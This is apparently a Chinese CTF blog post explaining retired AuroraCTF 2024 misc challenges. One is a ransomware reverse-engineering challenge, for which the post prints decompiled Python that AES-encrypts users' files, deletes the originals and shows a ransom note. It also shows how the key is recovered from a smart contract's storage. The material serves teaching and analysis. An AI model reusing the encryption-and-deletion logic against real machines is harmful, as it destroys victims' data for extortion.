nc连接靶机后发现一共就三行话，然后就没东西了（咱菜，用xinetd管理脚本，脚本运行结束后不会中断连接），但是没有flag，如果进行交互你也会发现完全没用，因为这题压根就没有可交互操作（

所以你可以把三行全选然后复制粘贴到某个地方，然后你会发现flag就很神奇地出现了：

Welcome to AuroraCTF 2024!Aurora{Mag1c_by_ANSI_C0des}
I will give you flag, but can you find it?
Good luck!

如果你的终端背景是黑色以外的颜色，我觉得这题就更是送分题了

那么原理究竟是什么呢？如果你有尝试将nc后的输出写入一个文本，比如：

ncat 127.0.0.1 32774 > flag.txt

你会发现txt的内容长这样：

你会发现在flag前后都有一串乱码，而这就是这题的魔法所在：ANSI Codes

ANSI Code，全称ANSI Escape Code，ANSI转义序列，是一种用于在控制台输出格式化文本的标准，可以操控包括字体的颜色，粗体，斜体，背景颜色等一系列属性，这题很明显就是将flag的背景和字体都利用ANSI Codes转为黑色以达到隐藏的效果

具体的ANSI Code和属性的对应关系就还请各位自行搜索，当然你也可以在Python导入colorama库实现同样的效果，原理其实也是一样的，都是使用ANSI Code对字体属性进行修改

题目灵感

本题灵感来自Err0r233出的新生赛题目：他将网页源代码隐藏了起来，然后我就想起来可以在控制台修改字体属性，然后就有了这题

Bioctal

弃用理由：Crypto侧也出了Hex，而且信息搜集有替代题目，因此下架

预期难度：1.8⭐

考点

信息搜集

Writeup&解析

刚入门做Misc题，你要学会搜三个东西：题目名，题目描述，附件内容，这题你如果去搜题目名Bioctal，再结合题目描述中的Hexadecimal（十六进制），你会发现真的有一篇文章，叫做RFC 9226: Bioctal: Hexadecimal 2.0

如果你找到了上面的文章，那么恭喜你，flag已经近在咫尺了，本题使用的编码就是这篇文章提出的编码标准

对于不太想看全英文文章的师傅们，这里给个TL;DR：文章提出了新的编码标准（0-7cjzwfsbv）替代标准的Hexadecimal的编码（0-9a-f），至于作者大佬是怎么“胡诌”的这里就不多赘述了，总之挺好笑的

所以将附件替换一下字符然后From Hex就出flag了，就这么简单

诶，你别急，别以为我就只是随便找的一篇文章，还记得文章前面的RFC吗？这三个字母全称Request For Comments，意为“请求评论”、“征求意见稿”，里面存放着互联网许多重要的文字资料，比如HTTP协议这种全球使用的标准都在RFC中有记录，可以说如果你希望你提出的互联网标准和规范为全球所使用，那么你肯定绕不开RFC

这篇Bioctal其实是出自2022年的愚人节RFC，是的，基本每一年愚人节都会提出一个或多个愚人节RFC，里面通常是用严谨的语言去描述一个不那么正经的标准，比如今年提出的用于AI模型间通信的Faster Than Light Speed Protocol(FLIP)，2019年提出的HTTP请求和响应互换的Hypertext Jeopardy Protocol(HTJP/1.0)，1998年提出的为控制煮咖啡机提出的协议Hyper Text Coffee Pot Control Protocol(HTCPCP/1.0)以及2014年对HTCPCP进行补充的为茶壶通讯提供的协议The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances(HTCPCP-TEA)都是很好玩的文章（为纪念HTCPCP，现在的HTTP响应码里面真的有418 I’m a teapot，一般用于代替403 Forbidden）

题目灵感

还能来自哪里，自然是RFC愚人节标准啊

Clock Paradox

弃用理由：正常人肯定都是自己新搞个Github账号然后再创个repo的，所以我是个傻逼

预期难度：2.9⭐

考点

Github提交记录相关知识

Writeup&解析

Github上的提交记录是会保存的，中间文件的改动会显示出来，既然题目已经说了密码在同一篇博客下，那么我们就找之前的提交记录中同html文件（因为静态博客渲染出来的就是html）就行了，可以找第一次生成html文件的提交记录，或者html被修改的提交记录，这里我挑选的就是html被修改的提交记录：Site updated: 2024-08-11 16:11:42 · Cauliweak9/cauliweak9.github.io@050be26

看到密码，上博客输入密码，你就拿到flag了

题目灵感

一眼丁真，包是你们Phigros的

仰望星空问答😈

是的，还有里题目，其实HTML源码里面的注释有路由（/h3ll），每道题相比于前面的问题要更深一点，会难找那么一点

弃用理由：没必要，而且没人做，Duck不必

预期难度：4.7⭐（虚高，我个人觉得只有4.1⭐）

考点

纯粹的信息搜集 Plus

Writeup&解析

Q1

我们搜索第一届X-NUCA，在第2页能看到中科大在2016年发布了有关的公告（全国高校网安联赛X-NUCA·2016圆满落幕！）。虽然X-NUCA在深大举办了4次，但是第一届X-NUCA是2016在中科大举办的，我们点进公告往下看，可以看到信息工程大学的f61d战队在当时以254.68的分数拿下第一名，给大佬跪了

Q2

在炸鱼薯条Q2找到的MITRE ATT&CK Matrix链接里面，我们可以看到Matryoshka在里面被作为例子举出

此时我们点进去查看Matryoshka的相关信息，最下面有两个Reference，其中时间较早的是2015年Minerva Labs和ClearSky Cyber Security的研究报告，虽然链接已经失效了，但是可以通过网络时光机查看到原来的文件，确认是有这么一个报告的

这题答案没有选取Minerva Labs，主要是因为咱看到17年ClearSky进行了第2次报告，所以将ClearSky作为了答案，所以本题答案为2015_clearsky

Q3

这一题就是让你了解一下方舟字节码的详细内容（因为我总感觉之后华为逆向会越来越多…），可以去看看官方文档：方舟字节码基本原理-方舟字节码-ArkTS编译工具链-ArkTS（方舟编程语言）-应用框架 - 华为HarmonyOS开发者，这里已经把答案写好了，在值存储方式这一部分，答案是tryldglobalbyname

Q4

这一问应该是最难搜到的，我自己测题的时候也测了好久（

由于我们现在知道2.26之后House of Orange就开始失效了，那么我们可以尝试搜一下Glibc在2.26到2.27的时候究竟是修改了什么，所以尝试搜索House of Orange 2.26（或者2.27），在搜索2.27我们可以搜到这个记录：

因此修改的肯定是abort.c

当然，搜索2.26也能找到答案，但是会麻烦一点，在下面的记录我们找到HackTricks的文章：House of Orange - HackTricks，这里一开头的基本信息就有提到补丁，打开就能看到git的记录，修改的是abort.c（其实这一问我就是翻到这篇文章后出的）

Q5

最简单的一小问，问AI就能知道答案，或者去看一下MT19937的实现中和哪个数进行了异或，答案是0x9908b0df

Q6

这一问需要各位自行查看HTCPCP的RFC规范，这里详细解读一下：

在第3部分The “coffee” URI scheme提出了HTCPCP的URL格式：

coffee-url  =  coffee-scheme ":" [ "//" host ]
                ["/" pot-designator ] ["?" additions-list ]

coffee-scheme = ( "koffie"                      ; Afrikaans, Dutch
               | "q%C3%A6hv%C3%A6"          ; Azerbaijani
               | "%D9%82%D9%87%D9%88%D8%A9" ; Arabic
               | "akeita"                   ; Basque
               | "koffee"                   ; Bengali
               | "kahva"                    ; Bosnian
               | "kafe"                     ; Bulgarian, Czech
               | "caf%C3%E8"                ; Catalan, French, Galician
               | "%E5%92%96%E5%95%A1"       ; Chinese
               | "kava"                     ; Croatian
               | "k%C3%A1va                 ; Czech
               | "kaffe"                    ; Danish, Norwegian, Swedish
               | "coffee"                   ; English
               | "kafo"                     ; Esperanto
               | "kohv"                     ; Estonian
               | "kahvi"                    ; Finnish
               | "%4Baffee"                 ; German
               | "%CE%BA%CE%B1%CF%86%CE%AD" ; Greek
               | "%E0%A4%95%E0%A5%8C%E0%A4%AB%E0%A5%80" ; Hindi
               | "%E3%82%B3%E3%83%BC%E3%83%92%E3%83%BC" ; Japanese
               | "%EC%BB%A4%ED%94%BC"       ; Korean
               | "%D0%BA%D0%BE%D1%84%D0%B5" ; Russian
               | "%E0%B8%81%E0%B8%B2%E0%B9%81%E0%B8%9F" ; Thai
               )

   pot-designator = "pot-" integer  ; for machines with multiple pots
   additions-list = #( addition )

由于我们在中国，所以coffee-scheme为%E5%92%96%E5%95%A1（咖啡的URL编码）；host字段是题目里面给的192.168.57.134:2333；pot-designator根据题目描述应该为pot-4；additions-list需要看RFC的2.2.2.1部分：

Accept-Additions = "Accept-Additions" ":"
                   #( addition-range [ accept-params ] )

 addition-type   = ( "*"
                   | milk-type
                   | syrup-type
                   | sweetener-type
                   | spice-type
                   | alcohol-type
                   ) *( ";" parameter )
 milk-type       = ( "Cream" | "Half-and-half" | "Whole-milk"
                   | "Part-Skim" | "Skim" | "Non-Dairy" )
 syrup-type      = ( "Vanilla" | "Almond" | "Raspberry"
                   | "Chocolate" )
 alcohol-type    = ( "Whisky" | "Rum" | "Kahlua" | "Aquavit" )

全脂奶对应Whole-milk，而糖浆类型syrup-type也给你了，所以让我们把所有的东西拼起来，得到的URL是%E5%92%96%E5%95%A1://192.168.57.134:2333/pot-4?milk-type=Whole-milk&syrup-type=Chocolate

不过说句实话，是不是coffee://也是可以的呢…？嘛算了，反正都被弃用了，也不用在乎这一点了

1k0ct Evil Inc.

弃用理由：我就是傻逼，这题纯糟粕，有这闲工夫不如学学人家DEFCON27上面的能耗侧信道😅😅😅

预期难度：6.8⭐

Docker镜像：因为太烂了故不进行公布

考点

侧信道攻击——时间侧信道

Writeup&解析

虽然这题在侧信道里面只能算是比较基础的类型，但是我个人还是有两点不太满意：第一，考虑到新生水平，这种题出在新生赛确实不够合理，即使提供了模板代码；第二，题目在靶机上进行运作，所以受到网速影响较大，实在比不上逆向那边给附件进行侧信道攻击的操作

原理和思路基本已经在附件里面的模板代码写了，就是利用字符比对之间的时间差，最后就是只有补充代码了，但是由于这题出的就是纯傻逼所以我就写这么多

孩子这辈子也算是有了黑历史耻辱柱了😅😅😅😅😅😅

Rikoltilo Viruso

弃用理由：说句实话我觉得这题拿来当防AK的话比侧信道好，但是对于小登来说真的太难了所以我干脆不上了

预期难度：12⭐（不过说句实话也没那么夸张，顶多7⭐）

考点

逆向工程（PyInstaller逆向，智能合约逆向），Python脚本编辑能力

Writeup&解析

附件中的恶意样本已经事先无害化，但是有害的基础逻辑都在注释里面，可以正常分析

Part Python

获取到病毒exe，看icon确认是PyInstaller打包的exe文件，遂用Pyinstxtractor进行提取（请注意，由于main.py引用了另外两个代码文件，直接使用一般的Pyinstxtractor可能无法解出另外两个代码文件，因此需要使用加强版）

提取出来的main.pyc，pyz-00解压出来的encryption.pyc和contract_interaction.pyc反编译一下就行了，至于里面的那个compiled_sol.json我们过会儿再说，其它的就不怎么需要关心

首先需要看的自然是main.py：

# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

import tkinter as tk
from tkinter import ttk
from tkinter.messagebox import *
from tkinter import scrolledtext
import encryption
import contract_interaction
info = [
    ('What happened?\n', 'bold'),
    ("The files in your current and sub directories are encrypted by us. Don't waste your time finding tools online to decrypt, no one can decrypt your files without our decryption service.\n\n", None),
    ('Can I recover my files?\n', 'bold'),
    ('Of course! The key for decryption will be saved on chain, which means nobody will be able to check or modify your keys except us, and once you have paid your ransom, we will give you your key for decryption at once.\n\n', None),
    ('How do I pay?\n', 'bold'),
    ("We don't ask for too much, just a couple of ether on Sepolia Testnet.\nTransfer 10 SepETH to this address with your UID as calldata: ", None),
    ('0x650432412bC8311f5F08DfdA81B87f75e61Fdea3\n', 'blue'),
    ('After your transaction, press the "Check transaction" button below and the program will check if you have paid your ETH. If so, the program will decrypt all the encrypted files and close.\n\n', None),
    ('Contact\n', 'bold'),
    ('If you need our assistance, contact us at friedfish.king@gmail.com.\n\n', None),
    ('Please mark that this program should not be closed during the whole process, or your files will not be able to recover permanently. If you accidentally closed the program, do not try to open this program again, since each time you open this program a new UID will be set and another layer of encryption will be processed.', 'warning')]

class SidebarFrame(tk.Frame):
    
    def __init__(self = None, parent = None, *args, **kwargs):
        pass
    # WARNING: Decompyle incomplete

    __classcell__ = None


class ScrollTextFrame(tk.Frame):
    
    def __init__(self = None, parent = None, *args, **kwargs):
        pass
    # WARNING: Decompyle incomplete

    
    def insert_text(self):
        for line, tag in info:
            if tag:
                self.scrolltext.insert(tk.END, line, tag)
                continue
            self.scrolltext.insert(tk.END, line, 'plain')

    __classcell__ = None


class ButtonFrame(tk.Frame):
    
    def __init__(self = None, parent = None, uid = None, interact = None, *args, **kwargs):
        pass
    # WARNING: Decompyle incomplete

    
    def check_payment(self):
        (key, success) = self.interact.get_encryption_key(self.uid)
        if success:
            self.key = key
            showinfo('Success!', 'Payment success! You can now decrypt your files.', **('title', 'message'))
            return None
        None('Failed!', 'Where is your money?', **('title', 'message'))

    
    def decrypt(self):
        if self.key != b'':
            encryption.decrypt(self.key)
            app.quit()
            return None
        None('No keys!', "You haven't pay your ransom!", **('title', 'message'))

    __classcell__ = None


class MainApplication(tk.Tk):
    
    def __init__(self = None, uid = None, interact = None, *args, **kwargs):
        pass
    # WARNING: Decompyle incomplete

    __classcell__ = None

# if __name__ == '__main__':
#     interact = None
#     uid = 0
#     app = MainApplication(uid, interact, **('uid', 'interact'))
#     app.mainloop()
#     return None

# Run the application
if __name__ == "__main__":
    # interact = contract_interaction.Interaction()
    interact = None
    # uid = encryption.encrypt(interact)
    uid = 0
    app = MainApplication(uid=uid, interact=interact)
    app.mainloop()

这一部分其实就是图形化界面而已，然后两个按钮分别绑定了获取加密密钥和解密两个函数，剩下两个关键的pyc也是从这里的import才知道的，当然这里我们也可以看到有一个合约地址：0x650432412bC8311f5F08DfdA81B87f75e61Fdea3，我们之后会用到

接下来我们顺着看，先是contract_interaction，也就是合约交互部分：

# Source Generated with Decompyle++
# File: contract_interaction.pyc (Python 3.10)

from web3 import Web3
import json

class Interaction:
    
    def __init__(self):
        with open('compiled_sol.json', 'r') as file:
            compiled_sol = json.loads(file.read())
            None(None, None, None)
    # WARNING: Decompyle incomplete

    
    def generate_encryption_key(self = None, uid = None):
        ransomware = self.w3.eth.contract(self.contract_address, self.abi, **('address', 'abi'))
        nonce = self.w3.eth.get_transaction_count(self.deployer_address)
        transaction = ransomware.functions.generate_key(uid).build_transaction({
            'chainId': self.chain_id,
            'from': self.deployer_address,
            'nonce': nonce })
        signed_txn = self.w3.eth.account.sign_transaction(transaction, self.private_key, **('private_key',))
        txn_hash = self.w3.eth.send_raw_transaction(signed_txn.raw_transaction)
        txn_receipt = self.w3.eth.wait_for_transaction_receipt(txn_hash)
        return ransomware.functions.send_decrypt_key(uid).call({
            'from': self.deployer_address })

    
    def get_encryption_key(self = None, uid = None):
        ransomware = self.w3.eth.contract(self.contract_address, self.abi, **('address', 'abi'))
        ransom_paid = ransomware.functions.check_paid(uid).call({
            'from': self.deployer_address })
        if ransom_paid:
            return (ransomware.functions.send_decrypt_key(uid).call({
                'from': self.deployer_address }), ransom_paid)
        return (None, ransom_paid)


if __name__ == '__main__':
    return None

__init__应该能猜出来，就是把Web3一些基础配置设置好，方便之后的直接使用，至于两个和encryption_key也就是加密密钥相关的函数，第一个是generate，也就是生成，操作是将UID作为参数，调用链上合约的函数获取一个密钥进行使用，后者就是获取密钥，仅此而已，如果没付钱就返回空字节串

同时我们能从这里看出来generate那里调用了合约的generate_key函数，而get调用了check_paid和send_decrypt_key函数，这是从ransomware.functions.***.call()那里看出来的

最后是encryption，也是最轻松的：

# Source Generated with Decompyle++
# File: encryption.pyc (Python 3.10)

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import contract_interaction
import random
iv = b'Triode&Err0r233!'
file_end = [
    '.png',
    '.jpg',
    '.gif',
    '.doc',
    '.docx',
    '.docm',
    '.ppt',
    '.pptx',
    '.pptm',
    '.pdf',
    '.xls',
    '.xlsx',
    '.xlsm',
    '.csv',
    '.wav',
    '.mp3',
    '.mp4',
    '.mkv',
    '.m3u',
    '.txt',
    '.zip',
    '.tar.gz',
    '.tar.bz2',
    '.tar.xz',
    '.7z',
    '.rar',
    '.bmp',
    '.xml',
    '.md',
    '.flac',
    '.webp',
    '.lnk']

def list_files(start_path, endwith = ('.', file_end)):
    file_list = []
    for root, dirs, files in os.walk(start_path):
        for file in files:
            file_dir = os.path.join(root, file)
            for end in endwith:
                if '.venv' not in file_dir and file_dir.endswith(end):
                    file_list.append(file_dir)
    return file_list


def encrypt(interaction = None):
    file_list = list_files()
    uid = random.randint(0, 2 ** 256 - 1)
    key = interaction.generate_encryption_key(uid)
    for file in file_list:
        data = open(file, 'rb').read()
        cipher = AES.new(key, AES.MODE_CBC, iv, **('iv',))
        encrypted_data = cipher.encrypt(pad(data, AES.block_size))
        open(file + '.encrypted', 'wb').write(encrypted_data)
        os.remove(file)
    return uid


def decrypt(key):
    encrypted_files = list_files([
        '.encrypted'], **('endwith',))
    for file in encrypted_files:
        data = open(file, 'rb').read()
        cipher = AES.new(key, AES.MODE_CBC, iv, **('iv',))
        decrypted_data = cipher.decrypt(pad(data, AES.block_size))
        open(file[:-10], 'wb').write(decrypted_data)
        os.remove(file)

if __name__ == '__main__':
    key = b'This_is_a_test_key_for_AES-256!!'
    file_list = list_files()
    print(file_list)
    encrypt(key, file_list)
    decrypt(key)
    return None

一眼盯真，鉴定为AES-CBC加密，iv都告诉你了，就差密钥获取了

最后总结一下病毒整体逻辑：

• 首先配置与区块链交互的基础配置
• 然后随机生成一个UID，并以此为参数从链上获取加密密钥
• 接下来使用该密钥对当前目录以及子目录的大部分多媒体文件进行AES-CBC加密
• 最后生成并渲染GUI

那么我们应该如何获取AES密钥呢？

Part Smart Contract

非常有意思的，获取加密密钥的这一步有3种做法，下面就展开来讲一下这3种做法分别是什么：

做法1：查看合约Storage Slot（存储槽）数据

这一部分做法相对来说比较繁琐，你需要了解智能合约各种变量类型在内存中的排布方式，同时还需要一个连接到Sepolia的RPC

由于这个勒索病毒的检查支付的按钮是和get_encryption_key函数相关的，也就是说这个密钥实际上是保存在区块链上的，考虑到区块链的公开性，我们就可以通过区块链一些简单的性质获取到密钥

不过本题并没有提供智能合约的源码，因此我们需要反编译获取伪代码，这里就需要找到合约的字节码了，有两种途径：一个是在Etherscan上自行搜索前面在main找到的合约地址，然后查看合约创建的交易并获取里面的字节码：（就是这里的Input Data）

另一种就是把在exe解包的时候找到的compiled_sol.json里面的字节码拉出来：（下面那一大串Hex就是）

反编译可以使用Dedaub，不过反编译的时候两个提取出来的字节码都需要截断一下：反编译的时候选取从第2组6080开始之后的那一段，原因是智能合约的字节码分为Constructor Bytecode和Runtime Bytecode两个部分，我们需要看的主要合约逻辑是后者，所以取后半部分，此处就不再深入解析

首先查看反编译后的伪代码：

// Decompiled by library.dedaub.com
// 2024.11.04 16:05 UTC
// Compiled using the solidity compiler version 0.8.28


// Data structures and variables inferred from the use of storage instructions
mapping (uint256 => uint256) map_0; // STORAGE[0x0]
mapping (uint256 => uint8) _fallback; // STORAGE[0x1]
address _collect; // STORAGE[0x2] bytes 0 to 19



function 0x765eb708(uint256 varg0) public nonPayable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    return _fallback[varg0];
}

function 0xc4f2ffb6(uint256 varg0) public nonPayable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(_collect == msg.sender, Error("Don't you dare!"));
    return map_0[varg0];
}

function collect() public nonPayable { 
    require(_collect == msg.sender, Error("Don't you dare!"));
    v0 = _collect.call().value(this.balance).gas(!this.balance * 2300);
    require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
}

function fallback( function_selector) public payable { 
    if (msg.data.length < 32) {
        v0 = function_selector & uint256.max << (32 - msg.data.length << 3);
    }
    require(msg.value >= 10 ** 19, Error("You've gonna pay your ransom once and for all."));
    _fallback[v0] = 1;
    return MEM[v420xcf.data:v420xcf.data + v420xcf.length];
}

function 0x026212b5(uint256 varg0) public nonPayable { 
    require(4 + (msg.data.length - 4) - 4 >= 32);
    require(_collect == msg.sender, Error("Don't you dare!"));
    map_0[varg0] = keccak256(block.difficulty, 'This ransomware is made by Triod', 'e & Err0r233', block.blockhash(block.number), block.timestamp);
    return keccak256(block.difficulty, 'This ransomware is made by Triod', 'e & Err0r233', block.blockhash(block.number), block.timestamp);
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__() private { 
    MEM[64] = 128;
    if (msg.data.length < 4) {
        fallback();
    } else if (0x26212b5 == msg.data[0] >> 224) {
        0x026212b5();
    } else if (0x765eb708 == msg.data[0] >> 224) {
        0x765eb708();
    } else if (0xc4f2ffb6 == msg.data[0] >> 224) {
        0xc4f2ffb6();
    } else if (0xe5225381 == msg.data[0] >> 224) {
        collect();
    } else {
        v0 = v1 = msg.data[0];
        if (msg.data.length < 32) {
            v0 = v1 & uint256.max << (32 - msg.data.length << 3);
        }
        require(msg.value >= 10 ** 19, Error("You've gonna pay your ransom once and for all."));
        _fallback[v0] = 1;
        return ;
    }
}

可以发现我们一共有5个函数，其中的collect大致能猜测是我们的Triode提款的函数，fallback有的时候会作为合约收款时调用的函数，这里也是这个作用，那么我们就只剩下三个函数了

虽然大致可以猜出来是0xc4f2ffb6这个函数就是上面提到的send_decrypt_key函数，但是我们有一种更直接的方式：通过函数选择器分辨. 智能合约中确定执行哪个函数是根据函数选择器进行选择的，它会使用一个算法将你想要调用的函数哈希一下，然后进行比对，比对成功则执行该函数，否则执行fallback，这个算法是这样的：bytes4(keccak256("function_name(param_type)"))，比如这里我们进行的操作就是bytes4(keccak256("send_decrypt_key(uint256)"))，比如下图：

左下角我们能看到t1的返回值正好是上面的那4个字节，说明我们想的没错

我们发现send_decrypt_key是从map_0里面获取的密钥，但是即使我们使用abi进行交互，我们仍旧会被require给限制住，因为我们不是合约持有者，而且这个mapping是private的，没法直接访问，那我们应该怎么获取呢？

虽然private变量不允许查看，但是实际上我们都可以通过计算获取指定Storage Slot下的内容的，比如这次我们需要找的数据类型是mapping，那么根据官方文档，我们已知encryption_key在第0位，查找的Index为UID，所以我们需要找的Storage Slot是：keccak256(UID.0)，这里的.表示字符串拼接，而且由于UID和0都是整型，会自动补全到uint256，所以最后我们在Python里面可以这样获取对应的AES key：

from web3 import Web3
from Crypto.Util.number import *
from encryption import decrypt

contract_address = "your_contract_address"
# contract_address = "0x650432412bC8311f5F08DfdA81B87f75e61Fdea3"


def get_AES_key(contract_address):
    # Change the rpc url to your own rpc url
    w3 = Web3(Web3.HTTPProvider("rpc_url_to_sepolia"))
    location = bytes_to_long(
        w3.solidity_keccak(
            ["uint256", "uint256"],
            [uid, 0],
            # uid = 0x0BE5FA0FA90EDBFC6EC8A2D59CF3A40B339AA9B48471AC3FB4643A7A68BCCF4F
        )
    )
    return w3.eth.get_storage_at(contract_address, location)


if __name__ == "__main__":
    AES_key = get_AES_key(contract_address)
    print(AES_key)
    # b'\xe8&\xd6\xcf\xd7\x1cn\x07P\xcf\n\x10\x1eqr"+t\xd6\x04r\xf7\xe1\x19\xef\\\x14I\xafI\x90\xf8'

然后拿这个密钥和encryption里面的iv进行AES-CBC解密就行了

做法2：查看交易详情

经典公链公开性，原理此处不作赘述，去年Blockchain就出过

做法3：直接和合约交互

这一部分感谢7ech_N3rd师傅指出问题

在做法1，我们通过反编译的合约代码可以看到绝大部分的关键函数都被加上了onlyOwner修饰器，其实就是那个require(_collect == msg.sender)，说明不是合约部署者无法调用该函数，那么如果这个病毒是直接和链上的合约进行交互的，那么合约部署者的相关信息肯定编译在了exe里面，也就是说我们可以直接从恶意样本里面提取出攻击者的地址私钥然后使用这个帐户直接访问合约的send_decrypt_key函数，不过做题的时候自然是不知道是叫这个名字的，所以还是得用address.call(abi.encodePacked(bytes4(0xc4f2ffb6)))这种方法去调用

虽然uncompyle那些是无法反汇编出Python代码的，但是由于攻击者地址的信息实际上是硬编码了的，所以在pyc里面还是可以直接找到的（我不清楚混淆一下能不能解决这个问题，我没试过）

其实出题的时候是有考虑到地址私钥泄露的，所以这个地址的余额其实不多，如果有想到这一层的而且找到了私钥的，里面的测试币送你了

更加合理的操作是在外面起一个服务器，然后恶意样本发送json数据到服务器里面让服务器进行与合约的交互，而且收款用的合约和加密用的合约最好是分离开来，不过我比较懒，所以还是算了（

Part PNG

Readme里面都说了签到了，别想太复杂：LSB，没了，直接Stegsolve或者zsteg梭了

说句实话这一步大可不必，单纯为了套娃而套娃有点蠢了，现在再看几个月前出的题目真的是烂到不行

题目灵感

沟槽的Lovely Malware，毁我青春（

哦还有，打哪个新生赛的时候有个简单恶意样本分析的题目，题目在那里说”啊你的文件被我加密了给我几个BTC/ETH“，然后完全没看到和Blockchain有关的东西了，非常失望（bushi），所以干脆自己动手搓了一个真的和区块链交互的勒索病毒，病毒的UI很明显参考的是WannaCry，因为我初中在学校电脑真的遇到过，印象真的很深

虽然吧，我觉得应该和一个服务器沟通然后那个服务器再进行链上的操作，还有加上几个免杀啊改成系统进程啊之类的，但是这已经是我搓完之后考虑到的事了，就这样吧，不然就真的12⭐了（笑），而且我很久没搓C/C++了，不然可能就是纯种逆向题了www

看看什么时候真的出一道EVM逆向玩玩…嘿嘿嘿…

后记

夸张点说，相较于去年自己给校队新生赛出的题，个人感觉自己今年出的题好一些，起码那个小音击我觉得挺好玩的www（自己当时测题的时候玩了一个小时），同时今年出题的时候学到的东西也很多，能以一个相对简单友好的题目去展示自己学过的知识我觉得还是挺不错的，而且所有正常启用的题目基本上都只包含1~2个考点（DNS塞QR除外），就凭这点我个人能吹好一阵子（我去这人好不要脸）

不过从Misc题目水平来说，确实还是太水了点，虽然说是给新生赛供的题目，不过客观上讲这些题相较于其它新生赛来说确实没什么知识点，只能说还是学的太少了QAQ，只能说希望题目能足够好玩吧，大佬们轻点喷o(TヘTo)

• 本文作者： 9C±Void
• 本文链接： https://cauliweak9.github.io/2025/03/14/AuroraCTF2024-Misc-WP/
• 版权声明： 本博客所有文章除特别声明外，均采用 MIT 许可协议。转载请注明出处！